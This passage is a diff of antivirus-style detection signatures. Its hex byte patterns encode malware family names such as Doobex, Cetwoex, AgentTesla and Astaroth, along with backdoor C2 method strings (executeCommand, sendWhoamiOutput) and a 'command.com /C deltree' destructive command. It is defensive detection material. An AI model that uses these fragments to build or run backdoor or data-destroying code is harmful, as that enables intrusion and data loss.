4c 50 45 52 3a 42 61 63 6b 64 } //24943 $a_3a_2 = {69 6e 33 32 2f 44 6f 6f 62 65 78 2e 44 21 64 68 61 00 01 00 18 01 2d 2d 20 20 25 73 3a 25 73 20 43 6f 6e 6e 65 63 74 20 45 72 72 6f 72 21 01 00 0e 01 63 6f 6d 62 69 6e 61 74 69 6f 6e 4b 65 79 01 00 1e 01 46 69 6c 65 20 53 65 6e 64 69 6e 67 2e 2e 2e 28 54 6f 74 61 6c 20 25 64 20 42 79 74 65 29 01 00 12 01 52 75 6e 6e 69 67 20 25 73 20 53 75 } //28527 - $a_73_3 = {21 01 00 0c 01 53 45 52 56 45 52 55 50 44 41 54 45 01 00 09 01 53 45 52 56 45 52 43 4d 44 00 00 78 b0 00 00 05 00 05 00 05 00 21 23 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 57 69 6e 64 75 70 64 61 74 65 73 00 01 00 1a 00 68 74 74 70 3a 2f 2f 77 77 77 2e 77 69 6e 64 75 70 64 61 74 65 73 2e 63 6f 6d 01 00 } //25443 - $a_63_4 = {6d 6d 61 6e 64 2e 63 6f 6d 20 2f 43 20 64 65 6c 74 72 65 65 01 00 19 00 52 65 6c 65 76 61 6e 63 79 20 6f 66 20 61 64 76 65 72 74 69 73 6d 65 6e 74 01 00 16 02 72 65 6d 6f 76 65 2e 70 68 70 3f 73 6f 66 74 3d 90 02 08 2b 90 00 01 00 19 00 44 6f 77 6e 6c 6f 61 64 65 64 20 50 72 } //23 - $a_61_5 = {20 46 69 6c 65 73 5c 00 00 78 b0 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 50 55 41 3a 57 69 6e 33 32 2f 4f 62 66 75 73 65 2e 50 52 21 41 4d 54 42 00 01 00 34 81 01 5c 52 65 67 69 73 74 72 79 5c 4d 61 63 68 69 6e 65 5c 53 79 73 74 65 6d 5c 43 75 72 72 65 6e 74 43 6f 6e 74 72 6f 6c 53 65 74 5c 53 65 72 76 69 63 65 73 5c 01 00 11 81 01 5c } //26479 + $a_73_3 = {21 01 00 0c 01 53 45 52 56 45 52 55 50 44 41 54 45 01 00 09 01 53 45 52 56 45 52 43 4d 44 00 00 78 b0 00 00 05 00 03 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4b 4b 36 31 32 21 4d 54 42 00 01 00 1a 81 01 62 61 6e 6b 6e 69 6e 67 65 72 20 65 70 69 70 68 6c 6f 65 64 69 } //25443 + $a_78_4 = {01 00 25 81 01 62 65 73 69 64 64 65 6c 73 65 73 20 6c 65 6a 6c 69 67 68 65 64 73 76 69 73 74 20 70 61 6e 64 65 6b 61 67 65 73 01 00 0f 81 01 6b 77 61 6e 20 66 79 6c 6c 61 20 73 69 7a 7a 01 00 0c 81 01 47 65 74 54 69 63 6b 43 6f 75 6e 74 01 00 14 81 01 76 65 20 74 68 65 20 63 75 72 72 65 6e 74 20 6c 6f } //11875 + $a_00_5 = {00 78 b0 00 00 05 00 05 00 05 00 21 23 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 57 69 6e 64 75 70 64 61 74 65 73 00 01 00 1a 00 68 74 74 70 3a 2f 2f 77 77 77 2e 77 69 6e 64 75 70 64 61 74 65 73 2e 63 6f 6d 01 00 17 00 5c 63 6f 6d 6d 61 6e 64 2e 63 6f 6d 20 2f 43 20 64 65 6c 74 72 65 65 01 00 19 00 } //26983 condition: - ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*24943+(#a_3a_2 & 1)*28527+(#a_73_3 & 1)*25443+(#a_63_4 & 1)*23+(#a_61_5 & 1)*26479) >=4 + ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*24943+(#a_3a_2 & 1)*28527+(#a_73_3 & 1)*25443+(#a_78_4 & 1)*11875+(#a_00_5 & 1)*26983) >=4 } -rule _InfrastructureShared_12257{ +rule _InfrastructureShared_13060{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " strings : $a_4c_0 = {45 52 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 44 6f 6f 62 65 78 2e 44 21 64 68 61 00 01 00 18 01 2d 2d 20 20 25 73 3a 25 73 20 43 6f 6e 6e 65 63 74 20 45 72 72 6f 72 21 01 00 0e 01 63 6f 6d 62 69 6e } //21539 - $a_6f_1 = {4b 65 79 01 00 1e 01 46 69 6c 65 20 53 65 6e 64 69 6e 67 2e 2e 2e 28 54 6f 74 61 6c 20 25 64 20 42 79 74 65 29 01 00 12 01 52 75 6e 6e 69 67 20 25 73 20 53 75 63 63 65 73 73 21 01 00 0c 01 53 45 52 56 45 52 55 50 44 41 54 45 01 00 09 01 53 45 52 56 45 52 43 4d 44 00 00 78 b0 00 00 05 00 05 00 05 00 21 23 41 64 77 } //29793 - $a_3a_2 = {69 6e 33 32 2f 57 69 6e 64 75 70 64 61 74 65 73 00 01 00 1a 00 68 74 74 70 3a 2f 2f 77 77 77 2e 77 69 6e 64 75 70 64 61 74 65 73 2e 63 6f 6d 01 00 17 00 5c 63 6f 6d 6d 61 6e 64 2e 63 6f 6d 20 2f 43 20 64 65 6c 74 72 65 65 01 00 19 00 52 65 6c 65 76 61 6e 63 79 20 6f 66 20 61 64 76 65 72 74 69 73 6d 65 } //29281 - $a_00_3 = {16 } //29806 - $a_6d_4 = {76 65 2e 70 68 70 3f 73 6f 66 74 3d 90 02 08 2b 90 00 01 00 19 00 44 6f 77 6e 6c 6f 61 64 65 64 20 50 72 6f 67 72 61 6d 20 46 69 6c 65 73 5c 00 00 78 b0 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 50 55 41 3a 57 69 6e 33 32 2f 4f 62 66 75 73 65 2e 50 52 21 41 4d 54 42 00 01 00 34 81 01 5c 52 65 67 69 } //29186 - $a_79_5 = {4d 61 63 68 69 6e 65 5c 53 79 73 74 65 6d 5c 43 75 72 72 65 6e 74 43 6f 6e 74 72 6f 6c 53 65 74 5c 53 65 72 76 69 63 65 73 5c 01 00 11 81 01 5c 44 65 76 69 63 65 5c 54 72 75 65 53 69 67 68 74 01 00 12 81 01 41 6e 74 69 72 6f 6f 74 6b 69 74 20 6d 6f 64 75 6c 65 01 00 0f 81 01 41 64 6c 69 63 65 20 53 6f 66 74 77 61 72 65 01 00 09 81 01 54 72 } //29811 + $a_6f_1 = {4b 65 79 01 00 1e 01 46 69 6c 65 20 53 65 6e 64 69 6e 67 2e 2e 2e 28 54 6f 74 61 6c 20 25 64 20 42 79 74 65 29 01 00 12 01 52 75 6e 6e 69 67 20 25 73 20 53 75 63 63 65 73 73 21 01 00 0c 01 53 45 52 56 45 52 55 50 44 41 54 45 01 00 09 01 53 45 52 56 45 52 43 4d 44 00 00 78 b0 00 00 05 00 03 00 05 00 21 23 48 53 54 } //29793 + $a_69_2 = {33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4b 4b 36 31 32 21 4d 54 42 00 01 00 1a 81 01 62 61 6e 6b 6e 69 6e 67 65 72 20 65 70 69 70 68 6c 6f 65 64 69 63 2e 65 78 65 01 00 25 81 01 62 65 73 69 64 64 65 6c 73 65 73 20 6c 65 6a 6c 69 67 68 65 64 73 76 69 73 74 20 70 } //14930 + $a_65_3 = {61 67 65 73 01 00 0f 81 01 6b 77 61 6e 20 66 79 6c 6c 61 20 73 69 7a 7a 01 00 0c 81 01 47 65 74 54 69 63 6b 43 6f 75 6e 74 01 00 14 81 01 76 65 20 74 68 65 20 63 75 72 72 65 6e 74 20 6c 6f 67 69 63 00 00 78 b0 00 00 05 00 05 00 05 00 21 23 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 57 69 6e 64 75 70 64 } //28257 + $a_73_4 = {01 00 1a 00 68 74 74 70 3a 2f 2f 77 77 77 2e 77 69 6e 64 75 70 64 61 74 65 73 2e 63 6f 6d 01 00 17 00 5c 63 6f 6d 6d 61 6e 64 2e 63 6f 6d 20 2f 43 20 64 65 6c 74 72 65 65 01 00 19 00 52 65 6c 65 76 61 6e 63 79 20 6f 66 20 61 64 76 65 72 74 69 73 6d 65 6e 74 01 00 16 02 72 65 6d 6f 76 65 2e 70 68 70 3f } //29793 + $a_74_5 = {90 02 08 2b 90 00 01 00 19 00 44 6f 77 6e 6c 6f 61 64 65 64 20 50 72 6f 67 72 61 6d 20 46 69 6c 65 73 5c 00 00 78 b0 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 50 55 41 3a 57 69 6e 33 32 2f 4f 62 66 75 73 65 2e 50 52 21 41 4d 54 42 00 01 00 34 81 01 5c 52 65 67 69 73 74 72 79 5c 4d 61 63 68 69 6e 65 5c } //28531 condition: - ((#a_4c_0 & 1)*21539+(#a_6f_1 & 1)*29793+(#a_3a_2 & 1)*29281+(#a_00_3 & 1)*29806+(#a_6d_4 & 1)*29186+(#a_79_5 & 1)*29811) >=4 + ((#a_4c_0 & 1)*21539+(#a_6f_1 & 1)*29793+(#a_69_2 & 1)*14930+(#a_65_3 & 1)*28257+(#a_73_4 & 1)*29793+(#a_74_5 & 1)*28531) >=4 } -rule _InfrastructureShared_12258{ +rule _InfrastructureShared_13061{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 03 00 05 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4b 4b 36 31 32 21 4d 54 42 00 01 00 1a 81 01 62 61 6e 6b 6e 69 6e 67 65 72 20 65 70 69 70 68 6c 6f 65 64 69 63 2e 65 78 65 01 00 25 81 01 62 65 73 69 64 64 65 6c 73 65 73 20 6c 65 6a 6c 69 67 68 65 } //18467 + $a_69_1 = {74 20 70 61 6e 64 65 6b 61 67 65 73 01 00 0f 81 01 6b 77 61 6e 20 66 79 6c 6c 61 20 73 69 7a 7a 01 00 0c 81 01 47 65 74 54 69 63 6b 43 6f 75 6e 74 01 00 14 81 01 76 65 20 74 68 65 20 63 75 72 72 65 6e 74 20 6c 6f 67 69 63 00 00 78 b0 00 00 05 00 05 00 05 00 21 23 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 57 69 6e 64 75 70 64 61 74 65 73 00 01 00 1a 00 68 } //29540 + $a_3a_2 = {2f 77 77 77 2e 77 69 6e 64 75 70 64 61 74 65 73 2e 63 6f 6d 01 00 17 00 5c 63 6f 6d 6d 61 6e 64 2e 63 6f 6d 20 2f 43 20 64 65 6c 74 72 65 65 01 00 19 00 52 65 6c 65 76 61 6e 63 79 20 6f 66 20 61 64 76 65 72 74 69 73 6d 65 6e 74 01 00 16 02 72 65 6d 6f 76 65 2e 70 68 70 3f 73 6f 66 74 3d 90 02 08 2b 90 00 01 00 19 00 44 6f 77 6e 6c 6f } //29812 + $a_64_3 = {50 72 6f 67 72 61 6d 20 46 69 6c 65 73 5c 00 00 78 b0 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 50 55 41 3a 57 69 6e 33 32 2f 4f 62 66 75 73 65 2e 50 52 21 41 4d 54 42 00 01 00 34 81 01 5c 52 65 67 69 73 74 72 79 5c 4d 61 63 68 69 6e 65 5c 53 79 73 74 65 6d 5c 43 75 72 72 65 6e 74 43 6f 6e 74 72 6f } //25697 + $a_74_4 = {53 65 72 76 69 63 65 73 5c 01 00 11 81 01 5c 44 65 76 69 63 65 5c 54 72 75 65 53 69 67 68 74 01 00 12 81 01 41 6e 74 69 72 6f 6f 74 6b 69 74 20 6d 6f 64 75 6c 65 01 00 0f 81 01 41 64 6c 69 63 65 20 53 6f 66 74 77 61 72 65 01 00 09 81 01 54 72 75 65 73 69 67 68 74 00 00 78 b0 00 00 05 00 05 00 05 00 21 } //21356 + condition: + ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*29540+(#a_3a_2 & 1)*29812+(#a_64_3 & 1)*25697+(#a_74_4 & 1)*21356) >=3 + +} +rule _InfrastructureShared_13062{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -136289,7 +145385,7 @@ rule _InfrastructureShared_12258{ ((#a_77_0 & 1)*16675+(#a_6d_1 & 1)*26996+(#a_63_2 & 1)*19804+(#a_61_3 & 1)*29798+(#a_73_4 & 1)*28271) >=5 } -rule _InfrastructureShared_12259{ +rule _InfrastructureShared_13063{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -136303,7 +145399,7 @@ rule _InfrastructureShared_12259{ ((#a_54_0 & 1)*18467+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1) >=5 } -rule _InfrastructureShared_12260{ +rule _InfrastructureShared_13064{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -136316,7 +145412,7 @@ rule _InfrastructureShared_12260{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*385+(#a_00_3 & 1)*5+(#a_3a_4 & 1)*21587) >=5 } -rule _InfrastructureShared_12261{ +rule _InfrastructureShared_13065{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -136330,7 +145426,7 @@ rule _InfrastructureShared_12261{ ((#a_54_0 & 1)*18467+(#a_70_1 & 1)*28279+(#a_69_2 & 1)*8307+(#a_61_3 & 1)*28704+(#a_65_4 & 1)*26996) >=5 } -rule _InfrastructureShared_12262{ +rule _InfrastructureShared_13066{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -136344,7 +145440,7 @@ rule _InfrastructureShared_12262{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*28271+(#a_54_2 & 1)*8499+(#a_61_3 & 1)*21340+(#a_61_4 & 1)*27765) >=5 } -rule _InfrastructureShared_12263{ +rule _InfrastructureShared_13067{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -136357,7 +145453,7 @@ rule _InfrastructureShared_12263{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*25705+(#a_42_2 & 1)*19745+(#a_20_3 & 1)*25701) >=5 } -rule _InfrastructureShared_12264{ +rule _InfrastructureShared_13068{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -136371,7 +145467,7 @@ rule _InfrastructureShared_12264{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*26996+(#a_56_2 & 1)*23115+(#a_74_3 & 1)*29801+(#a_21_4 & 1)*16686) >=5 } -rule _InfrastructureShared_12265{ +rule _InfrastructureShared_13069{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -136385,7 +145481,7 @@ rule _InfrastructureShared_12265{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*29813+(#a_43_2 & 1)*11892+(#a_64_3 & 1)*17253+(#a_00_4 & 1)*11891) >=5 } -rule _InfrastructureShared_12266{ +rule _InfrastructureShared_13070{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -136399,7 +145495,7 @@ rule _InfrastructureShared_12266{ ((#a_4c_0 & 1)*21539+(#a_65_1 & 1)*28515+(#a_72_2 & 1)*8993+(#a_74_3 & 1)*25449+(#a_69_4 & 1)*14958) >=5 } -rule _InfrastructureShared_12267{ +rule _InfrastructureShared_13071{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -136413,7 +145509,7 @@ rule _InfrastructureShared_12267{ ((#a_6f_0 & 1)*21539+(#a_79_1 & 1)*19314+(#a_6e_2 & 1)*25708+(#a_74_3 & 1)*-17848+(#a_65_4 & 1)*27764) >=5 } -rule _InfrastructureShared_12268{ +rule _InfrastructureShared_13072{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -136428,7 +145524,7 @@ rule _InfrastructureShared_12268{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*29554+(#a_3a_2 & 1)*24938+(#a_34_3 & 1)*30815+(#a_63_4 & 1)*16954+(#a_01_5 & 1)*1) >=5 } -rule _InfrastructureShared_12269{ +rule _InfrastructureShared_13073{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -136441,7 +145537,7 @@ rule _InfrastructureShared_12269{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*116+(#a_8b_4 & 1)*12800+(#a_08_5 & 1)*21641) >=5 } -rule _InfrastructureShared_12270{ +rule _InfrastructureShared_13074{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -136456,7 +145552,7 @@ rule _InfrastructureShared_12270{ ((#a_54_0 & 1)*18467+(#a_66_1 & 1)*4096+(#a_90_2 & 1)*-28528+(#a_77_3 & 1)*25710+(#a_50_4 & 1)*19521+(#a_75_5 & 1)*17761) >=5 } -rule _InfrastructureShared_12271{ +rule _InfrastructureShared_13075{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -136471,7 +145567,7 @@ rule _InfrastructureShared_12271{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*30575+(#a_68_2 & 1)*8513+(#a_72_3 & 1)*29811+(#a_6f_4 & 1)*29551+(#a_75_5 & 1)*29697) >=5 } -rule _InfrastructureShared_12272{ +rule _InfrastructureShared_13076{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -136485,7 +145581,7 @@ rule _InfrastructureShared_12272{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*29285+(#a_57_2 & 1)*21076+(#a_6c_3 & 1)*385+(#a_00_5 & 1)*6) >=6 } -rule _InfrastructureShared_12273{ +rule _InfrastructureShared_13077{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -136500,7 +145596,7 @@ rule _InfrastructureShared_12273{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*26721+(#a_30_2 & 1)*12877+(#a_52_3 & 1)*3840+(#a_65_4 & 1)*25924+(#a_75_5 & 1)*284) >=6 } -rule _InfrastructureShared_12274{ +rule _InfrastructureShared_13078{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -136515,7 +145611,7 @@ rule _InfrastructureShared_12274{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*25924+(#a_75_2 & 1)*284+(#a_6e_3 & 1)*22364+(#a_00_4 & 1)*7+(#a_72_5 & 1)*14930) >=6 } -rule _InfrastructureShared_12275{ +rule _InfrastructureShared_13079{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 07 00 21 " @@ -136526,12 +145622,12 @@ rule _InfrastructureShared_12275{ $a_78_3 = {00 00 00 78 b0 00 00 07 00 07 00 07 00 21 23 41 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 43 65 74 77 6f 65 78 2e 42 21 4d 54 42 00 01 00 10 01 2e 63 6f 6e 6e 65 63 74 54 6f 53 65 72 76 65 72 01 00 0e 01 2e 73 65 6e 64 47 65 74 53 69 67 6e 61 6c 01 00 0f 01 2e 73 65 6e 64 50 6f 73 74 4f 75 } //11885 $a_74_4 = {00 14 01 2e 69 6e 74 65 72 70 72 65 74 53 70 65 63 69 61 6c 43 6d 64 01 00 0f 01 2e 65 78 65 63 75 74 65 43 6f 6d 6d 61 6e 64 01 00 11 01 2e 73 65 6e 64 57 68 6f 61 6d 69 4f 75 74 70 75 74 01 00 08 01 63 32 78 2d 68 74 74 70 00 00 78 b0 00 00 07 00 07 00 07 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 72 79 70 74 49 6e 6a 65 63 74 } //28788 $a_21_5 = {54 42 00 01 00 0c 01 54 5f 5f 52 55 6e 64 6f 2e 70 61 73 01 00 0d 01 54 5f 5f 52 47 72 6f 75 70 2e 70 61 73 01 00 0c 01 54 5f 5f 52 43 6f 72 65 2e 70 61 73 01 00 0e 01 54 5f 5f 52 53 65 6c 46 72 6d 2e 70 61 73 01 00 0e 01 54 5f 5f 5f 69 6d 67 46 69 } //16942 - $a_61_6 = {01 00 0e 01 54 5f 5f 5f 66 68 54 6f 6f 6c 2e 70 61 73 01 00 16 81 01 50 72 69 76 69 6c 65 67 65 64 20 69 6e 73 74 72 75 63 74 69 6f 6e 00 00 78 b0 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4e 4a 32 34 21 4d 54 42 00 01 00 08 81 01 09 4c 00 6f 00 61 00 64 01 00 } //11879 + $a_61_6 = {01 00 0e 01 54 5f 5f 5f 66 68 54 6f 6f 6c 2e 70 61 73 01 00 16 81 01 50 72 69 76 69 6c 65 67 65 64 20 69 6e 73 74 72 75 63 74 69 6f 6e 00 00 78 b0 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 50 55 41 3a 57 69 6e 33 32 2f 4f 62 66 75 73 65 2e 50 52 21 41 4d 54 42 00 01 00 17 81 01 52 65 73 74 61 72 74 42 79 52 65 73 74 61 72 74 4d 61 } //11879 condition: ((#a_6c_0 & 1)*16675+(#a_6e_1 & 1)*25970+(#a_64_2 & 1)*27907+(#a_78_3 & 1)*11885+(#a_74_4 & 1)*28788+(#a_21_5 & 1)*16942+(#a_61_6 & 1)*11879) >=6 } -rule _InfrastructureShared_12276{ +rule _InfrastructureShared_13080{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 06 00 21 " @@ -136546,7 +145642,7 @@ rule _InfrastructureShared_12276{ ((#a_54_0 & 1)*18467+(#a_67_1 & 1)*29292+(#a_33_2 & 1)*26967+(#a_6e_3 & 1)*28013+(#a_00_4 & 1)*29537+(#a_5f_5 & 1)*21505) >=7 } -rule _InfrastructureShared_12277{ +rule _InfrastructureShared_13081{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -136554,30 +145650,44 @@ rule _InfrastructureShared_12277{ $a_46_0 = {42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 43 65 74 77 6f 65 78 2e 42 21 4d 54 42 00 01 00 10 01 2e 63 6f 6e 6e 65 63 74 54 6f 53 65 72 76 65 72 01 00 0e 01 2e 73 65 6e 64 47 65 74 53 69 67 6e 61 6c 01 00 0f 01 2e 73 65 6e 64 } //16675 $a_74_1 = {75 74 70 75 74 01 00 14 01 2e 69 6e 74 65 72 70 72 65 74 53 70 65 63 69 61 6c 43 6d 64 01 00 0f 01 2e 65 78 65 63 75 74 65 43 6f 6d 6d 61 6e 64 01 00 11 01 2e 73 65 6e 64 57 68 6f 61 6d 69 4f 75 74 70 75 74 01 00 08 01 63 32 78 2d 68 74 74 70 00 00 78 b0 00 00 07 00 07 00 07 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 72 79 } //28496 $a_6e_2 = {65 63 74 2e 42 53 21 4d 54 42 00 01 00 0c 01 54 5f 5f 52 55 6e 64 6f 2e 70 61 73 01 00 0d 01 54 5f 5f 52 47 72 6f 75 70 2e 70 61 73 01 00 0c 01 54 5f 5f 52 43 6f 72 65 2e 70 61 73 01 00 0e 01 54 5f 5f 52 53 65 6c 46 72 } //29808 - $a_61_3 = {01 00 0e 01 54 5f 5f 5f 69 6d 67 46 69 67 2e 70 61 73 01 00 0e 01 54 5f 5f 5f 66 68 54 6f 6f 6c 2e 70 61 73 01 00 16 81 01 50 72 69 76 69 6c 65 67 65 64 20 69 6e 73 74 72 75 63 74 69 6f 6e 00 00 78 b0 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4e 4a 32 34 21 4d } //11885 - $a_01_5 = {09 4c 00 6f 00 61 00 64 01 00 14 81 01 07 46 00 72 00 6f 00 00 07 6d 00 42 00 61 00 00 09 73 00 65 01 00 0c 81 01 0d 49 00 6e 00 76 00 6f 00 6b 00 65 01 00 0e 81 01 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 01 00 10 81 01 47 65 74 45 78 70 6f 72 74 65 64 54 79 70 65 73 01 00 0e 81 01 4e 65 77 4c 61 74 65 42 69 6e 64 69 6e 67 01 00 09 81 01 67 65 74 5f 43 68 61 72 73 00 00 78 b0 00 00 } //2048 - $a_00_6 = {07 00 21 23 48 53 54 } //7 + $a_61_3 = {01 00 0e 01 54 5f 5f 5f 69 6d 67 46 69 67 2e 70 61 73 01 00 0e 01 54 5f 5f 5f 66 68 54 6f 6f 6c 2e 70 61 73 01 00 16 81 01 50 72 69 76 69 6c 65 67 65 64 20 69 6e 73 74 72 75 63 74 69 6f 6e 00 00 78 b0 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 50 55 41 3a 57 69 6e 33 32 2f 4f 62 66 75 73 65 2e 50 52 21 41 4d 54 42 00 01 00 17 81 01 } //11885 + $a_74_4 = {72 74 42 79 52 65 73 74 61 72 74 4d 61 6e 61 67 65 72 01 00 0c 81 01 61 4d 46 43 4c 69 6e 6b 5f 55 72 6c 01 00 07 81 01 42 61 72 4e 61 6d 65 01 00 0a 81 01 63 6d 64 69 63 6c 69 65 6e 74 01 00 1b 81 01 68 6b 65 79 5f 63 75 72 72 65 6e 74 5f 75 73 65 72 5c 73 6f 66 74 77 61 72 65 5c 01 00 0c 81 01 48 57 65 6c 63 6f 6d 65 50 61 67 65 01 00 0a 81 } //25938 + $a_70_5 = {72 74 6d 65 6e 74 00 00 78 b0 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4e 4a 32 34 21 4d 54 42 00 01 00 08 81 01 09 4c } //27393 condition: - ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*28496+(#a_6e_2 & 1)*29808+(#a_61_3 & 1)*11885+(#a_01_5 & 1)*2048+(#a_00_6 & 1)*7) >=7 + ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*28496+(#a_6e_2 & 1)*29808+(#a_61_3 & 1)*11885+(#a_74_4 & 1)*25938+(#a_70_5 & 1)*27393) >=7 } -rule _InfrastructureShared_12278{ +rule _InfrastructureShared_13082{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 72 79 70 74 49 6e 6a 65 63 74 2e 42 53 21 4d 54 42 00 01 00 0c 01 54 5f 5f 52 55 6e 64 6f 2e 70 61 73 01 00 0d 01 54 5f 5f 52 47 72 6f 75 70 2e 70 61 73 01 00 0c 01 54 5f 5f 52 43 6f 72 } //16675 - $a_61_1 = {01 00 0e 01 54 5f 5f 52 53 65 6c 46 72 6d 2e 70 61 73 01 00 0e 01 54 5f 5f 5f 69 6d 67 46 69 67 2e 70 61 73 01 00 0e 01 54 5f 5f 5f 66 68 54 6f 6f 6c 2e 70 61 73 01 00 16 81 01 50 72 69 76 69 6c 65 67 65 64 20 69 6e 73 74 72 75 63 74 69 6f 6e 00 00 78 b0 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f } //11877 - $a_6e_2 = {54 65 73 6c 61 2e 41 4e 4a 32 34 21 4d 54 42 00 01 00 08 81 01 09 4c 00 6f 00 61 00 64 01 00 14 81 01 07 46 00 72 00 6f 00 00 07 6d 00 42 00 61 00 00 09 73 00 65 01 00 0c 81 01 0d 49 00 6e 00 76 00 6f 00 6b 00 65 01 00 0e 81 01 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 01 00 10 81 01 47 65 74 45 78 70 } //26433 - $a_65_3 = {54 79 70 65 73 01 00 0e 81 01 4e 65 77 4c 61 74 65 42 69 6e 64 69 6e 67 01 00 09 81 01 67 65 74 5f 43 68 61 72 73 00 00 78 b0 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 4f 62 66 75 73 65 2e 50 52 21 41 4d 54 42 00 01 00 0e 81 01 56 69 72 74 75 61 6c 50 72 6f 74 65 63 74 01 00 05 81 01 53 6c 65 65 70 01 00 0e 81 01 47 65 74 54 } //29295 - $a_43_4 = {75 6e 74 36 34 01 00 12 81 01 47 6c 6f 62 61 6c 4d 65 6d 6f 72 79 53 74 61 74 75 73 01 00 1a 81 01 43 68 65 63 6b 52 65 6d 6f 74 65 44 65 62 75 67 67 65 72 50 72 65 73 65 6e 74 01 00 0e 81 01 47 65 74 53 74 61 72 74 75 70 49 6e 66 6f 01 00 0e 81 01 64 6c 6c 68 6f 73 74 70 67 64 2e 65 78 65 00 00 78 b0 00 00 08 00 08 00 } //25449 - $a_23_5 = {4c 46 3a 54 72 6f 6a 61 6e 53 70 79 3a 57 69 6e 33 32 2f 41 73 74 61 72 6f 74 68 2e 44 00 05 00 0b } //5 - $a_d9_6 = {ca d3 e8 30 03 5b c3 05 00 3c 03 8b f3 